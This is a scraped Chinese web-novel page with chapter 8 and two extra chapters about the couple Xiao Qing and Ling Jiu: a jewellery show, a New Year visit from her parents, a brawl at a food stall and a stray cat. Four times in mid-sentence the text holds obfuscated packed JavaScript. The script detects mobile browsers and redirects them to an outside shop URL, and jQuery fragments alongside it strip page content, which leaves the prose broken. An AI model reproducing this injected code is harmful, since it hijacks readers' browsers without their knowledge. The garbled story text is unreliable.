“哪里有备用啊!”阿月着急地说,“今天下那么大雨,哪里突然找个备用?” 萧清叹了口气,掏出手机,拨打了电话号码。 “凌酒。” “诶!是那个凌酒吗?”阿月在一旁惊呼,“你们,还有联系啊?” 萧清拿开手机,捂着阿月的大嘴巴,做出了闭嘴的手势。 “凌酒,走了吗?” “还没有。”凌酒喝了一口水说,“还在车上,怎么了?” “要不,再上来当个模特?” “啊?”凌酒差点被水噎死,“你觉得我像吗?” “像!” “求我。”凌酒噗嗤一笑。 “酒酒,我求求你,帮帮我好吗?” 萧清恶狠狠地瞪了在一旁憋笑的阿月,做出了抹脖子的手势——再敢传下去,斩立决! “好。” 凌酒挂断手机,走上楼去。 阿月立马蹭了上来,学着萧清刚刚的嗲声嗲气,“清清,那你们是什么关系呀?” “你、觉、得、呢!” “诶呀,我想听你亲口确认嘛,我就说你们初中那时候就不对劲!”阿月八卦起来根本停不下来。 “赶紧给我去工作!” 萧清红着脸大喊,她在心里发誓,今晚回去一定要让凌酒好看。 “到时候喜酒记得请我!”阿月心满意足地离开。 化妆间。 凌酒倚靠在门框之上,摘下脸上的墨镜,朝萧清招了招手,“听说,你们要找模特?” “你觉得,她可以吗?”萧清弯着腰询问珠宝设计师洪南星。 洪南星抬头看了一眼门口的女子,惊得目瞪口呆。 “红……红姐!”洪南星脱口而出。 “谁?”凌酒眯着眼打量着椅子上的长毛。 洪南星用手拨开长发,“我,小洪子!以前帮你们写作业那个,记得吗?” “小……洪……子?”凌酒摸了摸下巴,“萧清,你有印象吗?” “等一下。”洪南星转过身,看着背后弯腰的黑衣负责人,衣服上的名牌赫然写着‘萧清’,“你是那个萧清?” “我是萧清。”萧清扶额,“不知道你说的是哪个?” 洪南星立马站起来,挺直腰板,敬礼说:“嫂子好!” 凌酒走到萧清背后,小声说:“这货,你认识?” “怎么看都是你当年的人。”萧清叹了口气,“你们当年真的卧虎藏龙啊。” “那请问,还需要我吗?”凌酒下巴靠在萧清肩膀上,“我觉得,要不要我还是……” “准你一次。”萧清拍了拍她的脸,“只许这一次。” “遵命,老婆。” 最后二字,说得尤为轻声。 “唰— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416255|200774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —” 更衣帘拉开那一瞬,整个化妆所有人都屏住了呼吸。 一身酒红色丝绒鱼尾晚礼服紧紧贴合着她的身形,冷白肌肤与浓郁的红相撞,美得极具攻击性。领口是深V剪裁,利落的直角肩被线条完美勾勒,肩头那道曾经覆着纹身的轮廓被薄纱轻轻盖住,平添几分隐秘的性感。裙摆自腰胯处缓缓散开,鱼尾弧度包裹着修长的腿,行走时绒面泛着暗哑的光,像淬了酒的夜色,又藏着当年江湖里的冷冽。 设计师洪南星亲自为她戴上本次展览的压轴珠宝——一套鸽血红宝石套装,项链垂在锁骨正中,耳坠随着细微的动作轻晃,腕间的手镯冷光流转,将凌酒身上桀骜与温柔两种气质揉得恰到好处。 “完美。”洪南星低声赞叹,“红姐,这套珠宝就是为你而生的。” 凌酒对着镜子抬了抬眼,眼底没什么波澜,只淡淡扫向一旁僵住呼吸的萧清,唇角勾出一点浅淡的弧度。 萧清心跳骤然乱了节拍。 她见过混街头满身锐气的凌酒,见过监狱里沉默倔强的凌酒,见过被窝里脆弱得像孩子的凌酒,却从未见过这样——耀眼、矜贵、锋芒毕露,却又只对她一人温柔的凌酒。 “别愣着了。”凌酒伸手,指尖轻轻碰了碰她泛红的耳尖,“你的模特,准备好了。” T台灯光骤亮。 全场寂静。 凌酒缓步走出,步伐稳而轻,鱼尾裙在水晶地面扫过细碎的光影。 没有模特刻意的媚态,只有她与生俱来的冷感与气场,每一步都踩在节奏之上,红宝石在灯下灼灼发光,衬得她眉眼锋利又惊艳。台下闪光灯不停,所有人的目光都被牢牢锁在她身上,连呼吸都不敢太重。 她没有看旁人,包括台下的阿飞众人,自始至终,视线只落向站在人群中央的萧清。 那目光沉静、专注、滚烫,像跨越了八年的牢狱与思念,直直撞进萧清心底。 走到展台中央,凌酒微微侧身,展示着颈间的珠宝。 肩线流畅,腰肢纤细,鱼尾裙包裹出的线条利落又性感,酒红丝绒与红宝石交相辉映,冷白肌肤在灯光下近乎透明,明明是极致艳丽的装扮,却被她穿出了一身干净的深情。 萧清站在暗处,指尖微微攥紧。 原来她的笨蛋,不仅可以为她扛下八年风雨,也可以为她,站上这样耀眼的地方。 走秀结束,凌酒在定点位置停留三秒,目光穿过人群,清晰地对萧清做了个口型。 “只为你穿。” 台下掌声与惊呼瞬间炸开。 没有人知道,这个惊艳全场的压轴模特,曾是背负罪名入狱八年的人;更没有人知道,她愿意穿上这身礼服,走上这座高台,仅仅是因为,台下站着她用一生去守护的人。 凌酒转身退场,裙摆划出一道漂亮的弧。 刚回到后台,便被萧清一把拉住,拽进了无人的休息室。 门刚关上,萧清便仰起头,眼眶微红:“凌酒……” “好看吗?”凌酒低头,轻轻环住她,礼服的绒面蹭过萧清的脸颊,带着淡淡的香气。 萧清心头一软,头微微向前,在她唇上轻轻落下一吻。 “但是,今天还有一个人要找你。” “我就知道,以你的安排,怎么会临时少一个模特?”凌酒走到门口,微微侧身,“谢谢。” 门,打开了。 门后只有三个人——阿飞、铁头七和三水妹。 如今的他们,哪里还有当年街头混混模样,贴身的西装,光滑的面料,精心设计的礼服,雍容华贵的珠宝,每一个都是盛装出席,透露着成熟的商场大鳄气质。 唯有这一双双眼睛,还闪烁着光——情义之光。 至此,凌酒清楚,他们之间的感情始终未变。 三人,关上了门。 “咚。” 三人不约而同地在凌酒面前下跪,连头也不敢抬起。 “红姐,当年的事情,对不起!” 说罢,三个磕头朝凌酒落下去。 每一个,都落地有声。 每一个,都真情实感。 每一个,都真心悔过。 这本是当年红花会的规矩——错了,便要跪。 当年的江湖,对于现在这三人来讲,本就可以随意忘去,但他们选择记住,对于他们来说,‘女儿红’就是自己的大姐,一辈子的大姐。 荣辱与共,不分你我。 他们,未曾忘记。 “我知道一辈子都没有办法补偿给你。”阿飞低头说,“他们当年从不知情,我也以为能瞒他们一辈子……” “那一个电话,对吗?”凌酒问。 “对,我跟他们全部摊牌了,当年的事情是我对不起你。我不奢求……” 凌酒打断了,“我从未怪过你。非要说恨,我只恨你的父亲,可是他坐的牢,恐怕还很长很长。” “现在,我已经不是‘女儿红’了,红花会也不会再存在了。”凌酒牵起萧清的手,轻声说:“但,我们还是朋友。” 开幕式圆满落幕。 阿飞请了所有人庆功。 唯独凌酒和萧清独自离开喧嚣的酒店。 那晚,她们发了一个朋友圈。 图片是十指相扣的两只手,各自戴着一枚戒指,一枚和当年一模一样的戒指。 配文只有四个字: 往后余生。 8. 第八章 冬天。 南方的冬天没有雪,只有雨,湿冷的雨。 房间则不一样,没有一丝寒意可以渗透进来,只有温暖,令人不愿离开的温暖。 “阿清,你过年回不回家?” 凌酒正倚靠在床头漫无目的地刷手机,靠在一旁则还缩在被窝里的萧清——相比于凌酒,萧清特别怕冷,每次冬天只要有暖气,有被窝,她就基本能保持不动,像一条冬眠的蛇。 “唔……我还没有想好。”萧清把脸往被子里埋了埋,声音闷闷的,“带你回去的话,会不会这个年就不用过了?” “我,那么恐怖吗?”凌酒眉毛微挑。 “我可爱的凌小姐,请你站在为你父母的角度好好思考!” 凌酒轻笑一声,突然凑近她耳边,捏着嗓子学着长辈的语气:“萧清呀,这就是你女朋友?哇,她美丽动力,落落大方,上得厅堂下得厨房,妈妈支持你!” “噗嗤。”萧清忍不住在笑出声,她转身,抽掉她手中的手机,“你是不是看短剧看多了……” “正常不就是这样子吗?看我把你照顾得白白胖胖的!” 话音刚落,凌酒立马缩回被窝,一双不安分的手开始一会儿捏上萧清肚子上柔软的赘肉,一会儿轻轻拍了拍她的小肚子。 “禁止人身攻击!” 她立马反击,手顺着凌酒的胳膊精准地找到她腰侧的痒痒肉,指甲轻轻一戳。 凌酒“呀”了一声,整个人瞬间软下来,被子下的腿乱蹬,只能笑得花枝乱颤,却怎么也挣脱不开。萧清眼里的笑意越来越浓,突然掀开被子一角,跨坐在她身上,弯下腰,温热的呼吸喷在她耳畔说:“服不服?” “不、服。”凌酒趁机一口咬住那通红的耳朵,“抽屉里好像还有……。” “早有预谋啊,小酒子。” 暖气还在不知疲倦地吐着热气,房间里的温度越来越高,连空气都变得黏稠起来,逐渐将二人的精神理性完成消融,只剩下对彼此深深的渴望。 窗外的雨还在下,湿冷的风撞在玻璃上,发出沉闷的呜咽,却怎么也钻不进这间屋子。房间里只剩下急促的呼吸声、心跳声,还有彼此身上散发出的、令人沉醉的暖意。 除夕。 萧清最后还是选择留在这座城市,留在这所房子,和凌酒一起度过新年。 这是,她们真正意义上一起度过的第一个新年。 “干杯!” 伴随玻璃杯碰撞发出清脆的响声,漆黑的夜轰然被点燃,五颜六色的烟花纷纷在天空之中炸开,流光漫过天际,将整座夜空染成一片绚烂。 烟花还在窗外此起彼伏地亮着,把客厅映得一明一暗。 萧清放下酒杯,指尖无意识地摩挲着冰凉的杯壁,目光却一直落在凌酒脸上。 凌酒被她看得有些不自在,伸手轻轻戳了戳她的脸颊:“看我做什么,天上的烟花不好看吗?” “好看。”萧清轻声应着,“但,没有你好看。” 凌酒耳尖微微一热,不禁扭开头,却忍不住弯起嘴角。她伸手,轻轻握住萧清放在桌上的手,十指慢慢扣紧。 窗外是漫天烟火,屋内是暖黄灯光,两个人的影子被拉得很长,安安静静地叠在一起。 “以前在监狱过年,我总觉得一个人也无所谓。哪怕,狱友一起聚在一起,我也感受不到任何新年的感觉。”凌酒忽然开口,声音很轻,“直到今年才知道,原来有人一起等零点,是这么踏实的一件事。” 萧清转头看她,眼底盛着比烟花还要温柔的光: “以后每一年,我都陪你。” 凌酒心头一软,往前微微倾身,额头轻轻抵上她的额头。呼吸交缠,连空气都变得温柔起来。 远处的钟声隐约传来,新的一年,真正开始了。 萧清闭上眼睛,在凌酒唇上轻轻一吻,像是许下一个无声的诺言。 “新年快乐,我的凌酒。” “新年快乐,我的萧清。” 窗外的雨早已停了,湿冷的冬夜被这间小屋彻底隔绝在外。 屋内暖意融融,两个人相拥在一片温柔里,把往后岁岁年年的期盼,都悄悄藏进了这个除夕。 大年初一。 “叮叮叮!” 一大早门外就传来不停歇的铃声,一阵又一阵响个不停。 “凌酒,好吵。” 萧清抓起被子蒙着头,摇了摇身边睡得几乎像只猪一样的凌酒,可是由于昨晚的激烈,她依旧没有醒得迹象,甚至身子下意识贴得更近。 “那你再睡一会儿。” 萧清眼里只剩下宠溺,在她的额头留下一个轻轻的吻,便蹑手蹑脚下床。昨晚的衣物如今七零八落地散落一地,她揉着惺忪的睡眼,随便捡起便往自己的身上套,嘴上还不禁嘀咕:“如果是你的员工一大早过来拜年,我可不放过你!” 她走到玄关,拿起衣架的羽绒服穿在身上,在猫眼里面往外瞄了一下——门外只有三个人,两个中年人,还有一个似乎是学生,三人穿得喜气洋洋的,手中还拿着一堆礼品,可惜都戴着口罩,看不太清样子。 不管怎么样,应该是认识的。 她来不及细想,觉得还是先开门比较好。 “新年好。” “清清,怎么搬家都不跟我们说一声,害得我们拿着一堆东西跑上跑下的。” 熟悉的声音在她面前响起,让她瞬间石化! 手,比她的潜意识还要快,想立马把门关上。 但是,已经迟了。 三人,已经毫不客气地走了进来。 “妈、爸,你……你们怎么来了?我不是说不回去吗?”萧清慌忙地率先跑到卧室前,偷偷把门给关上。 “还不是你妹妹,闹着要来看看你。”萧妈把手中的礼品放在沙发上,“我和你爸也顺路过来看看你。” “姐,新年快乐!”妹妹牵起她的手,把她拉到一旁,压低声音说:“我可看见了,卧室里面那个是姐夫呢?还是我嫂子?” “萧、晴就是你把咱爸妈引过来的!”萧清敲了一下她的头,“休想要零花钱了你!” “不要就不要,我欠了几个钱吗?”萧晴继续八卦,“我猜应该是嫂子,毕竟我看朋友圈,怎么看也是女人的手。” “两姐妹在嘀咕什么呢?”萧妈坐在沙发上说,“清清,你先去洗把脸吧,大过年的,怎么脸都不洗就出来了。” “晴晴,你帮你姐姐倒杯水呗。”萧爸在一旁目光被阳台的鲜花所吸引,“清清,你养的花长得很不错嘛,家里面那些靠你妈妈打理连朵花都长不出来。” “把手机借我一下。”萧清凑在萧晴耳边说。 “你没有吗?” “少废话,我的在卧室。” “金屋藏娇啊,姐。”萧晴把口袋里的手机递给她。 浴室。 萧清赶紧点亮手机,点开短信,迅速输入凌酒的电话号码,填入文本“凌酒,等一下千万别出卧室,不要发出一点声音,我爸妈来了!”,然后点击发送,发送成功后立马删除。 短信发出去的瞬间,她的心几乎要从嗓子眼里跳出来,在心中疯狂祈祷——凌酒,你一定要看见啊! 卧室。 凌酒依然枕在萧清的枕头上,夹着被子呼呼大睡。一旁的手机,没有一点声音,根本连一点亮光都没有。 事实是,昨晚她们两个根本就没有给手机充电。 大厅。 “清清,你好像长胖呢!”萧妈磕着瓜子,上下打量着从浴室里面洗漱完毕的萧清,“看来这一年伙食不错嘛,不给我们介绍一下私家厨师吗?” “噗!”坐一旁的萧晴听到后,差点没把水喷出来。 “啊?”萧清黑着脸,努力装傻,“什么私家厨师?我自己会煮饭。” “我都向你之前楼下邻居打听过了,她说你就是跟一个女孩子一起住了。”萧妈平静地说,“我们之前也说过,不反对你找女孩子,但也也要我和你爸过过眼吧?” “咔嚓。” “萧清,你是不是穿了我的衣服?” 凌酒恰巧从卧室里打着哈欠走了出来,身上只套着一件不合身的白色睡裙,头发蓬松乱糟糟,肩膀上的纹身,格外惹眼。 “是不是来客人了?我的员工吗?那么早就来拜年了,各位新——。” 萧清几乎是飞过去,捂住凌酒的嘴。 现在她心里面只有一种想法:如果武侠小说里面打后颈就可以晕倒的话,她一定会把在场的所有人给打晕,一定! “哈……哈……哈哈哈哈。”萧晴在一旁强颜欢笑,“哇,妈,姐姐的女朋友,真的好美丽动人,落落大方,真的是上得厅堂出得厨房,你说是不是?” “你是……凌酒?”萧妈站在她们两个面前。 凌酒被捂得懵了一瞬,视线缓缓扫过客厅,终于看清眼前的阵仗。 冷汗“唰”地一下冒出来。 她终于明白,自己的出现有多灾难。 她无辜地望向阿清,似乎在说:“你怎么不告诉我!” 结果,萧清恶狠狠地瞪回去,毫无疑问,她正在骂:“你怎么那么蠢!” “咚——” 凌酒二话不说,立马下跪。 “对不起,阿姨,当年是我不对,我已经痛改前非,大彻大悟了!以后会一心一意照顾萧清,请你批准!” “你这孩子……”萧爸赶紧走过来,“别……别这样子跪着,快起来。” “萧清,妈妈我真不明白,为什么你就非她不可呢?”萧妈叹了口气,“你不喜欢男人,我们也认了。但是,为什么非要是这个坐了八年牢的女人?她到底给你喂了什么迷魂药!十多年了,你到现在还是要找回她!” “妈,不是的,当年的事情,不关凌酒的事情,她没有……”萧清赶紧解释。 “我问你,凌酒。”萧妈根本不听解释,只是走到凌酒面前,“你说你已经痛改前非,那你现在呢?还是街边混混?” “阿姨,我……我现在经营着一家大排档,有车有房,绝对绝对跟□□没有任何关系!”凌酒举起三根手指,大声说:“我向天发誓,以后我再和□□扯上关系,做对阿清不对的事情,我天打雷劈!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416256|200774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“妈,凌酒对我好,我也喜欢凌酒。我知道你们可能还接受不了她,但是我求你们,能不能给我们一点时间,我一定能向你们证明,她真的已经不是当年的凌酒了。” 萧妈看看萧清,又看看跪在地上的凌酒,缓缓朝她伸出手,凌酒闭上双眼,已经准备好接下这巴掌,哪知只是轻轻摸了摸她的头。 “你的事,当年王队就跟我们说了,你的出生,你在监狱里面的改过,他都跟我们说得清清楚楚。那时候,我和清清他爸还纳闷,为什么这个警察会那么帮你。”萧妈扶起凌酒,“现在看着清清那么维护你,我也算有点明白,不管怎么样,我还是相信我的女儿总不会跟一些不三不四的人在一起。” “我们一早就知道,你们已经在一起了。”萧爸拿出手机,打开微信,点开收藏一栏,那里有一篇文章正是与之前的珠宝展览有关,毫无疑问上面肯定有她的照片,“做父母怎么不知女儿心?” “所以,你们这是……”凌酒忍不住问。 “快去洗脸。”萧妈冷着脸,“等一下帮我一起煮饭,我看看你是不是真的可以把我们的清清喂得肥肥白白?” “好!”凌酒含着泪,笑着回答。 萧清连忙上前,紧紧握住她的手,悬了一早上的心,这才总算稳稳落回原处。 “还愣着做什么?”萧妈瞥了两人相握的手一眼,嘴角藏着浅淡的笑意,却依旧板着脸,“快去收拾收拾,一身睡裙像什么样子。” “是,阿姨!” 凌酒连忙应声,脚步都轻快了几分,走前还不忘偷偷朝萧清眨了眨眼,眼底的欢喜藏都藏不住。 等凌酒换好一身干净利落的休闲装出来,原本自带的冷硬气场淡了不少,头发梳理整齐,肩膀上的纹身也被好好遮住,少了几分桀骜,多了几分乖巧安分。 她乖乖走进厨房,系上萧妈递来的围裙,动作娴熟地择菜、洗菜,刀工利落,一看便是常年下厨的人。 萧妈站在一旁看着,脸色渐渐柔和下来。 “手艺倒是不错。” “以前在里面学过,后来开大排档,都是我自己掌勺。”凌酒轻声回答,手下动作不停,“阿清喜欢吃有点重口的,我都记着。” 站在厨房门口偷听的萧清,耳朵瞬间红透。 萧晴凑过来,用胳膊肘轻轻撞了撞她,挤眉弄眼地小声打趣:“姐,这下放心了吧?我这嫂子,又会做饭又疼人,上得厅堂下得厨房,看来以后有口福咯。” 萧清没好气地瞪了妹妹一眼,心里却甜得发腻。 客厅里,萧爸摆弄着阳台上的花,嘴角一直扬着;厨房里,锅碗瓢盆轻轻碰撞,传出炒菜的香气;窗外是南方冬日难得的暖阳,透过玻璃洒进来,落在地板上,暖得让人安心。 开饭时,满满一桌子菜,有凌酒擅长的家常菜,也有萧妈拿手的年味菜。 凌酒全程乖乖坐着,不停给萧清夹菜,给萧爸萧妈倒茶,乖巧得不像话。 萧妈看着她小心翼翼的模样,终于忍不住笑了,往她碗里夹了一块鸡腿:“别光顾着照顾我们,自己也吃。以后都是一家人了,不用这么拘谨。” 一句话,让凌酒的眼眶瞬间又湿了。 她抬头,看向身旁的萧清,眼底是化不开的温柔与庆幸。 萧清回握住她的手,十指紧扣,轻轻点头。 窗外的风依旧带着冬日的微凉,可这间小小的屋子里,却盛满了人间最暖的烟火与团圆。 这是凌酒失去一切后,第一个真正意义上的新年。 也是她和萧清,被家人认可、被温暖拥抱的,崭新的一年。 饭后。 卧室。 “阿清,今天我表现怎么样?” 凌酒插着腰,在床头求表扬,手中还紧紧抓着萧清父母的红包,那是她第一次从父母手中收到新年红包。 “99分。”萧清一边收拾地上的衣物,一边说,“扣一分。” “好严格啊。”凌酒晃着双腿,不满说,“哪里扣分了?” “这里。” 萧清走在她面前,刚想在她唇上落下一吻。 门,却开了。 “姐——” 萧晴刚推开门就撞进这暧昧一幕,耳朵“唰”地红透,双手死死捂住眼睛,脚步却半点没挪开,还故意留着指缝偷偷看。 “姐、嫂子——我真什么都没看见!你们继续你们继续!” 萧清被撞个正着,脸颊瞬间烧得滚烫,慌忙从凌酒怀里退开,又羞又窘:“萧晴!你进来不会先敲门吗!” 凌酒却半点不慌,反而笑得眉眼弯弯,大大方方揽住萧清的腰,还故意朝门口的萧晴扬了扬下巴,带着点得逞的小得意。 “怕什么,都是一家人。” 萧晴看着相拥的两人,悄悄带上门退出卧室,忍不住弯起嘴角。 窗外的阳光正好,温暖洒满房间,门外是家人的笑语,门内是满心的欢喜与安稳。 那些曾经的泥泞与黑暗,早已被此刻的烟火与温柔彻底抚平。 从今往后,岁岁年年,朝朝暮暮,都有彼此。 (全书完) 9. 番外1——青龙帮 凌晨2点30分。 通常这个时间点,哪怕是夜猫子,也大多会各回各家,或者转战酒吧、酒店,选择停留在一间露天大排档的,少之又少。 所以,往往这个时间点,也正是广宁人家准备打烊的时间。 今天却除外。 人。 黑衣人。 一大片黑衣人,如黑云压城般袭来。每个人脸上都蒙着黑布,只露出一双双眼睛,闪着如恶狼般凶狠的光芒,仿佛想将当前的一切吞噬殆尽。 带头的只有一人,一个瘦子。 他瘦的几乎可以透过衣服看出身上的肋骨,看上去脆弱得一击即碎。 “停。” 只一句,身后的黑云堪堪止住了。 他独自一人,走向广宁人家,找了一张还算干净的椅子,一坐下,“砰”地一声,将双腿摆放在桌子上,手中握着的是一把刀,锋利的刀,他却细细摩挲,犹如在抚摸一件无可替代的珍品。 “我只找老板,无关人等,走。” 他声音不大,却足以让在场所有人听见。 “堪!” 一把菜刀,从厨房里飞了出来,距离瘦子的皮鞋,不过十厘米。 “我,就是老板。” 凌酒扔下围裙,从厨房里面,缓步走到瘦子的对面,同样拿起一把椅子坐了下去,双腿靠拢,腰板挺直,很端庄地坐了下去。 “听说……” “叮叮叮!” 一股铃声从凌酒的口袋响起,打断了瘦子的声音。 “喂!我想问一下,能不能给我五分钟时间,就五分钟时间,你们当看不见好不好?”凌酒将耳机贴在耳畔,询问着电话里的人,语气轻松得就像在跟一个朋友对话,“三分钟,也行吧。” “滴。” 凌酒熄掉电话,深呼一口气。 “我只有三分钟。” 话音刚过,凌酒右手用力一翻,整张桌子凌空飞起,只见她脚尖轻踏,身影一闪,桌上的菜刀便已在手中,反手便朝着瘦子砍去。 哪只瘦子竟临危不惧,双足撑地,以全身之力挥刀迎上,迸发的火光瞬间点燃了这个夜晚。 “咔嚓。” 只坚持不到三秒,瘦子的刀立刻断裂。 “什么?”瘦子脸色一惊。 “什么什么?”凌酒勾唇一笑,“就凭你还想跟我打?打听清楚我曾经的绰号了吗?” “啊!” 瘦子一声惨叫,瘫在地上嘶吼出声。 黑衣人闻声而动,黑压压朝凌酒袭来。杯碗破碎,桌椅翻倒,冰寒的杀气瞬间填满凌晨的大排档。 “还有两分钟,再陪你们玩玩。” 凌酒把菜刀往后一扔,甩了甩手。 下一秒—— 人,便已冲进黑潮之中。 没有花里胡哨的招式,没有多余的动作,每一次出手却精准的可怕,一拳,一掌,尽数落在黑衣人身体的最薄弱之处。闷哼之声纷纷响起,拳脚所到之处,无人不倒,如脆弱的野草撞上锋利的镰刀,毫无抵抗之力。 忽然,有人从背后拿刀袭来。 凌酒侧身一闪,五指成爪,反手一扣,只听“咔嚓”一声,那人的手臂瞬间脱臼,只能跪倒在地,大声惨叫。 就在此时—— “?“呜呜——” 警笛声划破夜空。 无数警察如潮水般从四处涌出,团团包围了这群夜袭凌酒的街边混混。 凌酒找到在地上匍匐的瘦子,一脚踹了过去,“你们是青龙帮?” “大侠,大侠,饶命啊,大侠!” “当然会饶命。”凌酒抓起他的头发,在她耳边嘿嘿一笑,“我这桌椅,餐碗也碎了许多,也该换一换了。” “懂!我赔!我赔!”瘦子疯狂点头。 “懂什么懂!”一个中年人敲了正在“趁火打劫”的凌酒,“还想敲诈人家啊?” “哪有!”凌酒秒变乖乖女站在一旁,“打碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416257|200774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赔钱,天经地义!王队,你说是不?” 王队抓起瘦子,戴上手铐,“你看看你搞的?” 凌酒环视了一眼,刚才黑压压一群人,如今已多数倒下,连动都不能动一下,看上去都陷入了婴儿一般的睡眠,她不禁吐了吐舌头。 “警民合作,一家亲。”凌酒拍了拍王队的肩膀,“你不会怪我吧?” 王队押起瘦子,冷声问周围:“你们看见有人动手打人了?” “没有!”众警员齐声回答,“只看见□□围殴一名女子!” “下次请你吃饭!”凌酒忍不住大笑起来。 十分钟后。 “王队,喝茶。” 凌酒倒了一杯热茶,递到王队面前。 “当年的‘女儿红’有现在那么乖就好了。”王队抿了一口茶,感慨说:“现在不挺好?重新做人。” “嗯,挺好。” “你和那个萧清现在怎么样?”王队开口问,“我看你们当年苦命鸳鸯一样,现在总该和好了吧?” “年底摆酒,你必作为上宾。”凌酒眼神一软,“要不是你,我想她妈妈可能一辈子都未必可以接受得了我。” “害,说这个,当年就是看你这个小娃娃可怜,爹不疼,妈不爱的,都知道你没有得选,本质上还是好的,现在总算证明我没有看走眼。” 王队把茶杯放回到凌酒面前,转身回到警车上。 “王队,结婚一定要到!没有你,不开席!” 凌酒在后面大力挥手。 锦绣小区,五栋楼下。 一道身影立在冷风中,脸色不太好看。 “凌酒,你还知道回来!不是说了,只能做到十点半吗?人当老板,你当老板,怎么你什么都要做!” 萧清气得腮帮子都鼓了起来。 凌酒笑了笑,冲过去,拦腰一抱,将萧清抱在怀里。 声音轻得像晚风,温柔得不像话。 “现在,我们回家。” 10. 番外2——你要选哪个? “喂?” “嫂子。”萧晴在电话里压低声音说:“我姐现在在吗?” “你清楚现在是什么时间吧?”凌酒看了看日期,语气里带着点无奈又纵容的严厉,“今天是星期三,我记得学校是不允许带手机的。要是给你姐知道,看你吃不了兜着走!” 萧晴的声音瞬间软得像棉花糖一般,撒娇说:“看来是不在的,好嫂子,我人生之中只有你一个嫂子,所以这个忙你一定要帮!” “别。”凌酒一口拒绝,“上次给你偷送麦当劳,你姐到现在还在生我气。我们就停留一个星期,给条活路吧,晴姐!” “萧晴,宿管在楼下了,你快点。”电话里传来一股女声,不同于萧晴的娇柔开朗,这股声音显得冷静而理智,“我最多帮你争取十分钟。” “快快快,夭夭,真是大恩不言谢!”萧晴匆匆应付完,又立刻转回正题,“嫂子,我跟你说,我们学校门卫最近在赶猫,小桔子是我们一直喂的那只,特别乖,你能不能先帮我养着?” “你别说那只猫就在你宿舍!” “不愧是一家人,那么快就心有灵犀一点通,到时候我一定在妈妈面前美言你几句!” “要是被你姐知道,我还要不要活了!你知道,她最讲究卫生!” “考验你们爱情坚贞的时候到了,12点正门不见不散!” “喂——萧晴!” 电话,毫不留情挂断。 一姐妹,怎么能相差那么远! “哦?” 萧清在一旁合上书,转过来说:“请问,我亲爱的凌小姐,你要选、哪、个!” “我……”凌酒眼珠子一转,忽然计上心头,“要不,送去给妈养?” “那你已经做出选择了!” 凌酒能感觉杀气,源源不断的杀气直面而来,这比她这辈子遇到的杀气都要恐怖,她甚至能感觉到,熊熊的怒火将要她燃烧殆尽。 “可是,你舍得那么可爱的小猫咪遗弃在外面吗?”凌酒举起手机,将小桔子的照片展示出来——金黄的阳光照耀之上,橘色的细毛闪闪发光,而它们的主人眯着眼,正在全身心地伸着懒腰,看上去柔软无骨,像一团棉花糖一样,让人忍不住想要上前轻轻抚摸。 如果图片会有声音,她们一定能听见小猫的轻哼。 “喵?” “凌酒,你知道养一只猫要准备什么吗?”萧清丝毫不动摇。 “叮——” 《新手养猫注意事项》 《猫粮怎么选?我花了3万元大测评》 《猫砂攻略,如何挑选一款性价比高的猫砂》 《小心!猫千万不能碰的东西!》 《猫咪叫声的十种含义》 《如何正确与猫相处》 …… 十数篇文章如潮水般,被疯狂转发到凌酒的手机上,每一个标题就如一个个问题,疯狂拷打着凌酒的心。 “你以为养一只猫就是把猫带回来就好了吗?”萧清敲了敲她的头,“家里面什么都没有?怎么样?而且我们也快回去了,到时候小猫我们是带回去还是留在这里给我妈养?” “这些……”凌酒声音瞬间恹了,“我都没有想过。” “别以为装可爱就可以萌混过关。”萧清叹了口气,“你,真的想养?” 凌酒伸手轻轻揉了揉她的发顶,语气认真又温柔:“你呢?养猫是我们两个人的事情,如果你不想要的话,那我们就不要。毕竟,没有什么比你更重要。” 萧清耳尖一红,“我不是不同意,但是你也要负、责。到时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416258|200774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候铲屎、扫地、喂猫、洗猫碗什么的,你也要做。” “这个当然。”凌酒缩了缩,靠在她肩膀上,“我一定会把我们的家打扫得干干净净,绝不会弄脏咱们的清清!” “好,走吧。” “去哪?” 